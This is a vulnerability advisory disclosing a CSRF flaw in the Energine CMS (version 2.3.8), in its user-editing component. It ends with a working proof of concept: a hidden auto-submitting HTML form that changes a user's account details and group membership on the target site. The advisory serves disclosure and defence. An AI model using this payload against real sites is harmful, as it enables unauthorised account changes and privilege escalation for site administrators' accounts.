XSRF (CSRF) in Energine

[advisory@xxxxxxxxxxx]

Vulnerability ID: HTB22782
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_energine.html
Product: Energine
Vendor: Energine ( http://www.energine.org/ ) 
Vulnerable Version: 2.3.8 and probably prior versions
Vendor Notification: 28 December 2010 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing 
(http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the 
"core/modules/user/components/UserEditor.class.php" script to properly verify 
the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of 
the application, theft of cookie-based authentication credentials, disclosure 
or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is 
available:

<form action="http://host/en/single/pageToolBar/user/save"; method="post" 
name="main">
<input type="hidden" name="componentAction" value="edit">
<input type="hidden" name="user_users[u_id]" value="USERID">
<input type="hidden" name="user_users[u_name]" value="email@xxxxxxxxxxx">
<input type="hidden" name="user_users[u_password]" value="">
<input type="hidden" name="user_users[u_fullname]" value="Test">
<input type="hidden" name="user_users[u_avatar_prfile]" value="">
<input type="hidden" name="group_id[]" value="1">
<input type="hidden" name="group_id[]" value="4">
</form>
<script>
document.main.submit();
</script>